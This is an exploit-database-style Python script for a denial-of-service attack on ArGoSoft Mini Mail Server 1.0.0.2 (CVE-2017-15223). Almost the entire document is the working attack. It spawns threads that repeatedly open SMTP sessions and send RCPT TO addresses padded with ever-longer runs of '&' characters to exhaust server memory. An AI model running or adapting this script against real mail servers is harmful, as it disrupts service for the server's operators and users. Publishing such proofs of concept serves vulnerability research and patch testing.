ArGoSoft Mini Mail Server 1.0.0.2 - Denial of Service

#!/usr/bin/env python
# coding: utf-8

############ Description: ##########
# The vulnerability was discovered during a vulnerability research lecture.
#
# Denial-of-service vulnerability in ArGoSoft Mini Mail Server 1.0.0.2
# and earlier allows remote attackers to waste CPU resources (memory
# consumption) via unspecified vectors.
####################################

# Exploit Title: ArGoSoft Mini Mail Server - DoS (Memory Consumption)
# Date: 2017-10-21
# Exploit Author: Berk Cem Göksel
# Contact: twitter.com/berkcgoksel || bgoksel.com
# Vendor Homepage: http://www.argosoft.com
# Software Link: http://www.argosoft.com/rootpages/MiniMail/Default.aspx
# Version:  1.0.0.2
# Tested on: Windows 10
# Category: Windows Remote Denial-of-Service
# CVE : CVE-2017-15223


import socket
from threading import Thread

def data():

    ip = '127.0.0.1'
    port = 25
    counter = 50
    string = '&'

    while True:
        try:
            if counter >= 10000:
                counter = 0
            else:

                counter = counter + 50
                A = (string * counter) + 'user2@othermail.com'
                print "String lenght: " + str(len(A))

                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                sock.settimeout(5.0)
                sock.connect((ip, port))
                sock.send('HELO localhost\r\n' + 'MAIL FROM: user1@somemail.com\r\n' + 'RCPT TO: ' + A + '\r\nDATA\r\nMessage-ID:1224\r\SDFGQUIL\r\n"."\r\n' + 'QUIT\r\n')
                sock.recv(1024)
                sock.close()

        except Exception as e:
            continue

def main():
    iterations = int(input("Threads: "))
    for i in range(iterations):
        t = Thread(target=data)
        t.start()

if __name__ == '__main__':
    main()